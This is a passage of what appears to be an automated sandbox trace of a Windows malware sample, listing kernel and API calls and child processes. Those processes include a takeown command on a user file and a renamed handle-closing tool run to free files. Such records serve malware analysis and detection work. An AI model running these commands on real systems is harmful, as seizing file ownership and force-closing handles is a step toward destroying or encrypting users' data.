hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x9c, lpOverlapped=0x0) returned 1 [0082.308] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0082.308] PsAcquireProcessExitSynchronization () returned 0x0 [0082.308] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0082.308] ObReferenceObjectByHandle (in: Handle=0x140, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffff8a0018c7a90, HandleInformation=0x0) returned 0x0 [0082.308] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0082.308] PsReleaseProcessExitSynchronization () returned 0x2 [0082.308] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0082.308] ObQueryNameString (in: Object=0xfffff8a0018c7a90, ObjectNameInfo=0xfffffa800392b044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa800392b044, ReturnLength=0xfffff88005452550) returned 0x0 [0082.308] ObfDereferenceObject (Object=0xfffff8a0018c7a90) returned 0x1 [0082.308] IofCompleteRequest (Irp=0xfffffa80019d8780, PriorityBoost=0) [0082.309] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0082.309] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0082.309] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0082.309] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0082.309] PsAcquireProcessExitSynchronization () returned 0x0 [0082.309] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0082.309] ObReferenceObjectByHandle (in: Handle=0x144, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffff8a001b4e220, HandleInformation=0x0) returned 0x0 [0082.309] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0082.309] PsReleaseProcessExitSynchronization () returned 0x2 [0082.309] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0082.309] ObQueryNameString (in: Object=0xfffff8a001b4e220, ObjectNameInfo=0xfffffa800392c044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa800392c044, ReturnLength=0xfffff88005452550) returned 0x0 [0082.309] ObfDereferenceObject (Object=0xfffff8a001b4e220) returned 0x1 [0082.309] IofCompleteRequest (Irp=0xfffffa80019d8780, PriorityBoost=0) [0082.309] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0082.309] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0082.309] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0082.309] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0082.309] PsAcquireProcessExitSynchronization () returned 0x0 [0082.309] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0082.309] ObReferenceObjectByHandle (in: Handle=0x148, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffff8a001ba71c0, HandleInformation=0x0) returned 0x0 [0082.309] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0082.309] PsReleaseProcessExitSynchronization () returned 0x2 [0082.309] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0082.309] ObQueryNameString (in: Object=0xfffff8a001ba71c0, ObjectNameInfo=0xfffffa800392d044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa800392d044, ReturnLength=0xfffff88005452550) returned 0x0 [0082.309] ObfDereferenceObject (Object=0xfffff8a001ba71c0) returned 0x5 [0082.309] IofCompleteRequest (Irp=0xfffffa80019d8780, PriorityBoost=0) [0082.309] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0082.309] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0082.309] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0xa2, lpOverlapped=0x0) returned 1 [0082.309] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0082.309] PsAcquireProcessExitSynchronization () returned 0x0 [0082.309] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0082.309] ObReferenceObjectByHandle (in: Handle=0x14c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffff8a0019ff7c0, HandleInformation=0x0) returned 0x0 [0082.309] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0082.309] PsReleaseProcessExitSynchronization () returned 0x2 [0082.310] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0082.310] ObQueryNameString (in: Object=0xfffff8a0019ff7c0, ObjectNameInfo=0xfffffa800392e044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa800392e044, ReturnLength=0xfffff88005452550) returned 0x0 [0082.310] ObfDereferenceObject (Object=0xfffff8a0019ff7c0) returned 0x2 [0082.310] IofCompleteRequest (Irp=0xfffffa80019d8780, PriorityBoost=0) [0082.310] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0082.310] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x1000) returned 0x380b40 [0082.310] GetLastError () returned 0x5 [0082.310] SetLastError (dwErrCode=0x5) [0082.310] GetLastError () returned 0x5 [0082.310] SetLastError (dwErrCode=0x5) [0082.310] GetLastError () returned 0x5 [0082.310] SetLastError (dwErrCode=0x5) [0082.310] GetLastError () returned 0x5 [0082.310] SetLastError (dwErrCode=0x5) [0082.310] GetLastError () returned 0x5 [0082.310] SetLastError (dwErrCode=0x5) [0082.310] GetLastError () returned 0x5 [0082.310] SetLastError (dwErrCode=0x5) [0082.310] GetLastError () returned 0x5 [0082.310] SetLastError (dwErrCode=0x5) [0082.310] GetLastError () returned 0x5 [0082.310] SetLastError (dwErrCode=0x5) [0082.310] GetLastError () returned 0x5 [0082.310] SetLastError (dwErrCode=0x5) [0082.310] GetLastError () returned 0x5 [0082.310] SetLastError (dwErrCode=0x5) [0082.310] GetLastError () returned 0x5 [0082.310] SetLastError (dwErrCode=0x5) [0082.310] GetLastError () returned 0x5 [0082.310] SetLastError (dwErrCode=0x5) [0082.310] GetLastError () returned 0x5 [0082.310] SetLastError (dwErrCode=0x5) [0082.310] GetLastError () returned 0x5 [0082.311] SetLastError (dwErrCode=0x5) [0082.311] GetLastError () returned 0x5 [0082.311] SetLastError (dwErrCode=0x5) [0082.311] GetLastError () returned 0x5 [0082.311] SetLastError (dwErrCode=0x5) [0082.311] GetLastError () returned 0x5 [0082.311] SetLastError (dwErrCode=0x5) [0082.311] GetLastError () returned 0x5 [0082.311] SetLastError (dwErrCode=0x5) [0082.311] GetLastError () returned 0x5 [0082.311] SetLastError (dwErrCode=0x5) [0082.311] GetLastError () returned 0x5 [0082.311] SetLastError (dwErrCode=0x5) [0082.311] GetLastError () returned 0x5 [0082.311] SetLastError (dwErrCode=0x5) [0082.311] GetLastError () returned 0x5 [0082.311] SetLastError (dwErrCode=0x5) [0082.311] GetLastError () returned 0x5 [0082.311] SetLastError (dwErrCode=0x5) [0082.311] GetLastError () returned 0x5 [0082.311] SetLastError (dwErrCode=0x5) [0082.311] GetLastError () returned 0x5 [0082.311] SetLastError (dwErrCode=0x5) [0082.311] GetLastError () returned 0x5 [0082.311] SetLastError (dwErrCode=0x5) [0082.311] GetLastError () returned 0x5 [0082.311] SetLastError (dwErrCode=0x5) [0082.311] GetLastError () returned 0x5 [0082.311] SetLastError (dwErrCode=0x5) [0082.311] GetLastError () returned 0x5 [0082.311] SetLastError (dwErrCode=0x5) [0082.311] GetLastError () returned 0x5 [0082.311] SetLastError (dwErrCode=0x5) [0082.312] GetLastError () returned 0x5 [0082.312] SetLastError (dwErrCode=0x5) [0082.312] GetLastError () returned 0x5 [0082.312] SetLastError (dwErrCode=0x5) [0082.312] GetLastError () returned 0x5 [0082.312] SetLastError (dwErrCode=0x5) [0082.312] GetLastError () returned 0x5 [0082.312] SetLastError (dwErrCode=0x5) [0082.312] GetLastError () returned 0x5 [0082.312] SetLastError (dwErrCode=0x5) [0082.312] GetLastError () returned 0x5 [0082.312] SetLastError (dwErrCode=0x5) [0082.312] GetLastError () returned 0x5 [0082.312] SetLastError (dwErrCode=0x5) [0082.312] GetLastError () returned 0x5 [0082.312] SetLastError (dwErrCode=0x5) [0082.312] GetLastError () returned 0x5 [0082.312] SetLastError (dwErrCode=0x5) [0082.312] GetLastError () returned 0x5 [0082.312] SetLastError (dwErrCode=0x5) [0082.312] GetLastError () returned 0x5 [0082.312] SetLastError (dwErrCode=0x5) [0082.312] GetLastError () returned 0x5 [0082.312] SetLastError (dwErrCode=0x5) [0082.312] GetLastError () returned 0x5 [0082.312] SetLastError (dwErrCode=0x5) [0082.312] GetLastError () returned 0x5 [0082.312] SetLastError (dwErrCode=0x5) [0082.312] GetLastError () returned 0x5 [0082.312] SetLastError (dwErrCode=0x5) [0082.312] GetLastError () returned 0x5 [0082.312] SetLastError (dwErrCode=0x5) [0082.312] GetLastError () returned 0x5 [0082.313] SetLastError (dwErrCode=0x5) [0082.313] GetLastError () returned 0x5 [0082.313] SetLastError (dwErrCode=0x5) [0082.313] GetLastError () returned 0x5 [0082.313] SetLastError (dwErrCode=0x5) [0082.313] GetLastError () returned 0x5 [0082.313] SetLastError (dwErrCode=0x5) [0082.313] GetLastError () returned 0x5 [0082.313] SetLastError (dwErrCode=0x5) [0082.313] GetLastError () returned 0x5 [0082.313] SetLastError (dwErrCode=0x5) [0082.313] GetLastError () returned 0x5 [0082.313] SetLastError (dwErrCode=0x5) [0082.313] GetLastError () returned 0x5 [0082.313] SetLastError (dwErrCode=0x5) [0082.313] GetLastError () returned 0x5 [0082.313] SetLastError (dwErrCode=0x5) [0082.313] GetLastError () returned 0x5 [0082.313] SetLastError (dwErrCode=0x5) [0082.313] GetLastError () returned 0x5 [0082.313] SetLastError (dwErrCode=0x5) [0082.313] GetLastError () returned 0x5 [0082.313] SetLastError (dwErrCode=0x5) [0082.313] GetLastError () returned 0x5 [0082.313] SetLastError (dwErrCode=0x5) [0082.313] GetLastError () returned 0x5 [0082.313] SetLastError (dwErrCode=0x5) [0082.313] GetLastError () returned 0x5 [0082.313] SetLastError (dwErrCode=0x5) [0082.313] GetLastError () returned 0x5 [0082.313] SetLastError (dwErrCode=0x5) [0082.313] GetLastError () returned 0x5 [0082.313] SetLastError (dwErrCode=0x5) [0082.314] GetLastError () returned 0x5 [0082.314] SetLastError (dwErrCode=0x5) [0082.314] GetLastError () returned 0x5 [0082.314] SetLastError (dwErrCode=0x5) [0082.314] GetLastError () returned 0x5 [0082.314] SetLastError (dwErrCode=0x5) [0082.314] GetLastError () returned 0x5 [0082.314] SetLastError (dwErrCode=0x5) [0082.314] GetLastError () returned 0x5 [0082.314] SetLastError (dwErrCode=0x5) [0082.314] GetLastError () returned 0x5 [0082.314] SetLastError (dwErrCode=0x5) [0082.314] GetLastError () returned 0x5 [0082.314] SetLastError (dwErrCode=0x5) [0082.314] GetLastError () returned 0x5 [0082.314] SetLastError (dwErrCode=0x5) [0082.314] GetLastError () returned 0x5 [0082.314] SetLastError (dwErrCode=0x5) [0082.314] GetLastError () returned 0x5 [0082.314] SetLastError (dwErrCode=0x5) [0082.314] GetLastError () returned 0x5 [0082.314] SetLastError (dwErrCode=0x5) [0082.314] GetLastError () returned 0x5 [0082.314] SetLastError (dwErrCode=0x5) [0082.314] GetLastError () returned 0x5 [0082.314] SetLastError (dwErrCode=0x5) [0082.314] GetLastError () returned 0x5 [0082.314] SetLastError (dwErrCode=0x5) [0082.314] GetLastError () returned 0x5 [0082.314] SetLastError (dwErrCode=0x5) [0082.314] GetLastError () returned 0x5 [0082.314] SetLastError (dwErrCode=0x5) [0082.314] GetLastError () returned 0x5 [0082.314] SetLastError (dwErrCode=0x5) [0082.315] GetLastError () returned 0x5 [0082.315] SetLastError (dwErrCode=0x5) [0082.315] GetLastError () returned 0x5 [0082.315] SetLastError (dwErrCode=0x5) [0082.315] GetLastError () returned 0x5 [0082.315] SetLastError (dwErrCode=0x5) [0082.315] GetLastError () returned 0x5 [0082.315] SetLastError (dwErrCode=0x5) [0082.315] GetLastError () returned 0x5 [0082.315] SetLastError (dwErrCode=0x5) [0082.315] GetLastError () returned 0x5 [0082.315] SetLastError (dwErrCode=0x5) [0082.315] GetLastError () returned 0x5 [0082.315] SetLastError (dwErrCode=0x5) [0082.315] GetLastError () returned 0x5 [0082.315] SetLastError (dwErrCode=0x5) [0082.315] GetLastError () returned 0x5 [0082.315] SetLastError (dwErrCode=0x5) [0082.315] GetLastError () returned 0x5 [0082.315] SetLastError (dwErrCode=0x5) [0082.315] GetLastError () returned 0x5 [0082.315] SetLastError (dwErrCode=0x5) [0082.315] GetLastError () returned 0x5 [0082.315] SetLastError (dwErrCode=0x5) [0082.315] GetLastError () returned 0x5 [0082.315] SetLastError (dwErrCode=0x5) [0082.315] GetLastError () returned 0x5 [0082.315] SetLastError (dwErrCode=0x5) [0082.315] GetLastError () returned 0x5 [0082.315] SetLastError (dwErrCode=0x5) [0082.315] GetLastError () returned 0x5 [0082.315] SetLastError (dwErrCode=0x5) [0082.315] GetLastError () returned 0x5 [0082.316] SetLastError (dwErrCode=0x5) [0082.316] GetLastError () returned 0x5 [0082.316] SetLastError (dwErrCode=0x5) [0082.316] GetLastError () returned 0x5 [0082.316] SetLastError (dwErrCode=0x5) [0082.316] GetLastError () returned 0x5 [0082.316] SetLastError (dwErrCode=0x5) [0082.316] GetLastError () returned 0x5 [0082.316] SetLastError (dwErrCode=0x5) [0082.316] GetLastError () returned 0x5 [0082.316] SetLastError (dwErrCode=0x5) [0082.316] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x12c814 | out: lpMode=0x12c814) returned 1 [0082.316] WriteFile (in: hFile=0x7, lpBuffer=0x12cee0*, nNumberOfBytesToWrite=0x64, lpNumberOfBytesWritten=0x12c800, lpOverlapped=0x0 | out: lpBuffer=0x12cee0*, lpNumberOfBytesWritten=0x12c800*=0x64, lpOverlapped=0x0) returned 1 [0082.318] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350004, lpInBuffer=0x12e470*, nInBufferSize=0x20, lpOutBuffer=0x0, nOutBufferSize=0x0, lpBytesReturned=0x12e400, lpOverlapped=0x0 | out: lpInBuffer=0x12e470*, lpOutBuffer=0x0*, lpBytesReturned=0x12e400*=0x0, lpOverlapped=0x0) returned 1 [0082.318] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff880054525f0 | out: Process=0xfffff880054525f0) returned 0x0 [0082.318] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff88005452608 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff88005452608) [0082.319] ObReferenceObjectByHandle (in: Handle=0x14c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff880054525f8, HandleInformation=0xfffff88005452600 | out: Object=0xfffff880054525f8*=0xfffff8a0019ff7c0, HandleInformation=0xfffff88005452600) returned 0x0 [0082.319] ObCloseHandle (Handle=0x14c, AccessMode=0x1) returned 0x0 [0082.319] ObfDereferenceObject (Object=0xfffff8a0019ff7c0) returned 0x0 [0082.319] KeUnstackDetachProcess (ApcState=0xfffff88005452608) [0082.319] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0082.319] IofCompleteRequest (Irp=0xfffffa80019d8780, PriorityBoost=0) [0082.319] GetLastError () returned 0x5 [0082.319] SetLastError (dwErrCode=0x5) [0082.319] GetLastError () returned 0x5 [0082.319] SetLastError (dwErrCode=0x5) [0082.319] GetLastError () returned 0x5 [0082.319] SetLastError (dwErrCode=0x5) [0082.319] GetLastError () returned 0x5 [0082.319] SetLastError (dwErrCode=0x5) [0082.319] GetLastError () returned 0x5 [0082.319] SetLastError (dwErrCode=0x5) [0082.319] GetLastError () returned 0x5 [0082.319] SetLastError (dwErrCode=0x5) [0082.319] GetLastError () returned 0x5 [0082.319] SetLastError (dwErrCode=0x5) [0082.319] GetLastError () returned 0x5 [0082.319] SetLastError (dwErrCode=0x5) [0082.319] GetLastError () returned 0x5 [0082.319] SetLastError (dwErrCode=0x5) [0082.319] GetLastError () returned 0x5 [0082.319] SetLastError (dwErrCode=0x5) [0082.319] GetLastError () returned 0x5 [0082.319] SetLastError (dwErrCode=0x5) [0082.319] GetLastError () returned 0x5 [0082.319] SetLastError (dwErrCode=0x5) [0082.320] GetLastError () returned 0x5 [0082.320] SetLastError (dwErrCode=0x5) [0082.320] GetLastError () returned 0x5 [0082.320] SetLastError (dwErrCode=0x5) [0082.320] GetLastError () returned 0x5 [0082.320] SetLastError (dwErrCode=0x5) [0082.320] GetLastError () returned 0x5 [0082.320] SetLastError (dwErrCode=0x5) [0082.320] GetLastError () returned 0x5 [0082.320] SetLastError (dwErrCode=0x5) [0082.320] GetLastError () returned 0x5 [0082.320] SetLastError (dwErrCode=0x5) [0082.320] GetLastError () returned 0x5 [0082.320] SetLastError (dwErrCode=0x5) [0082.320] GetLastError () returned 0x5 [0082.320] SetLastError (dwErrCode=0x5) [0082.320] GetLastError () returned 0x5 [0082.320] SetLastError (dwErrCode=0x5) [0082.320] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x12c814 | out: lpMode=0x12c814) returned 1 [0082.320] WriteFile (in: hFile=0x7, lpBuffer=0x12cee0*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x12c800, lpOverlapped=0x0 | out: lpBuffer=0x12cee0*, lpNumberOfBytesWritten=0x12c800*=0x14, lpOverlapped=0x0) returned 1 [0082.322] GetVersion () returned 0x1db10106 [0082.322] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0082.322] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x7, lpConsoleScreenBufferInfo=0x12fec0 | out: lpConsoleScreenBufferInfo=0x12fec0) returned 1 [0082.323] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x360080 | out: hHeap=0x340000) returned 1 [0082.323] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x12feb8 | out: phModule=0x12feb8) returned 0 [0082.323] RtlExitUserProcess (ExitCode=0x0) [0082.323] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x35f050 | out: hHeap=0x340000) returned 1 [0082.334] IofCompleteRequest (Irp=0xfffffa80019d8780, PriorityBoost=0) Thread: id = 698 os_tid = 0xca4 Process: id = "149" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0xbea5000" os_pid = "0xc9c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "32" os_parent_pid = "0x184" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 697 os_tid = 0xca0 Thread: id = 701 os_tid = 0xcb8 Thread: id = 704 os_tid = 0xccc Process: id = "150" image_name = "takeown.exe" filename = "c:\\windows\\syswow64\\takeown.exe" page_root = "0xbb8d000" os_pid = "0xca8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "137" os_parent_pid = "0xc28" cmd_line = "takeown /F \"C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 699 os_tid = 0xcac Thread: id = 705 os_tid = 0xcd0 Process: id = "151" image_name = "bv6nck8c.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe" page_root = "0x67a22000" os_pid = "0xcb0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "131" os_parent_pid = "0x5dc" cmd_line = "bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 700 os_tid = 0xcb4 [0083.116] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x76e10000 [0083.116] GetProcAddress (hModule=0x76e10000, lpProcName="SetEvent") returned 0x76e216c5 [0083.116] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObject") returned 0x76e21136 [0083.116] GetProcAddress (hModule=0x76e10000, lpProcName="DeviceIoControl") returned 0x76e2322f [0083.116] GetProcAddress (hModule=0x76e10000, lpProcName="DuplicateHandle") returned 0x76e21886 [0083.116] GetProcAddress (hModule=0x76e10000, lpProcName="FormatMessageW") returned 0x76e24620 [0083.116] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventW") returned 0x76e2183e [0083.117] GetProcAddress (hModule=0x76e10000, lpProcName="CreateProcessW") returned 0x76e2103d [0083.117] GetProcAddress (hModule=0x76e10000, lpProcName="ExpandEnvironmentStringsW") returned 0x76e24173 [0083.117] GetProcAddress (hModule=0x76e10000, lpProcName="GetDriveTypeW") returned 0x76e2418b [0083.117] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemDirectoryW") returned 0x76e25063 [0083.117] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteFileW") returned 0x76e289b3 [0083.117] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadErrorMode") returned 0x76e9af42 [0083.117] GetProcAddress (hModule=0x76e10000, lpProcName="HeapSize") returned 0x77353002 [0083.117] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringW") returned 0x76e217b9 [0083.117] GetProcAddress (hModule=0x76e10000, lpProcName="GetStringTypeW") returned 0x76e21946 [0083.117] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateThread") returned 0x76e27a2f [0083.117] GetProcAddress (hModule=0x76e10000, lpProcName="OpenProcess") returned 0x76e21986 [0083.118] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersion") returned 0x76e24467 [0083.118] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0083.118] GetProcAddress (hModule=0x76e10000, lpProcName="FindResourceW") returned 0x76e25971 [0083.118] GetProcAddress (hModule=0x76e10000, lpProcName="SizeofResource") returned 0x76e25ac9 [0083.118] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0083.118] GetProcAddress (hModule=0x76e10000, lpProcName="SetLastError") returned 0x76e211a9 [0083.118] GetProcAddress (hModule=0x76e10000, lpProcName="LoadResource") returned 0x76e2594c [0083.118] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0083.118] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0083.118] GetProcAddress (hModule=0x76e10000, lpProcName="LockResource") returned 0x76e25959 [0083.118] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineW") returned 0x76e25223 [0083.118] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleW") returned 0x76e234b0 [0083.118] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryW") returned 0x76e2492b [0083.118] GetProcAddress (hModule=0x76e10000, lpProcName="GetStdHandle") returned 0x76e251b3 [0083.118] GetProcAddress (hModule=0x76e10000, lpProcName="LocalFree") returned 0x76e22d3c [0083.119] GetProcAddress (hModule=0x76e10000, lpProcName="LocalAlloc") returned 0x76e2168c [0083.119] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0083.119] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameW") returned 0x76e24950 [0083.119] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleScreenBufferInfo") returned 0x76e4bafd [0083.119] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileType") returned 0x76e23531 [0083.119] GetProcAddress (hModule=0x76e10000, lpProcName="OutputDebugStringW") returned 0x76e4d1d4 [0083.119] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleW") returned 0x76ec739a [0083.119] GetProcAddress (hModule=0x76e10000, lpProcName="WriteConsoleW") returned 0x76e47aca [0083.119] GetProcAddress (hModule=0x76e10000, lpProcName="SetFilePointerEx") returned 0x76e3c807 [0083.119] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x773422b0 [0083.119] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77342270 [0083.119] GetProcAddress (hModule=0x76e10000, lpProcName="SetStdHandle") returned 0x76ea454f [0083.119] GetProcAddress (hModule=0x76e10000, lpProcName="HeapAlloc") returned 0x7734e026 [0083.119] GetProcAddress (hModule=0x76e10000, lpProcName="EncodePointer") returned 0x77360fcb [0083.119] GetProcAddress (hModule=0x76e10000, lpProcName="DecodePointer") returned 0x77359d35 [0083.120] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0083.120] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleExW") returned 0x76e24a6f [0083.120] GetProcAddress (hModule=0x76e10000, lpProcName="MultiByteToWideChar") returned 0x76e2192e [0083.120] GetProcAddress (hModule=0x76e10000, lpProcName="WideCharToMultiByte") returned 0x76e2170d [0083.120] GetProcAddress (hModule=0x76e10000, lpProcName="HeapFree") returned 0x76e214c9 [0083.120] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleMode") returned 0x76e21328 [0083.120] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleInputA") returned 0x76ec6f53 [0083.120] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleMode") returned 0x76e3a77d [0083.120] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThread") returned 0x76e234d5 [0083.120] GetProcAddress (hModule=0x76e10000, 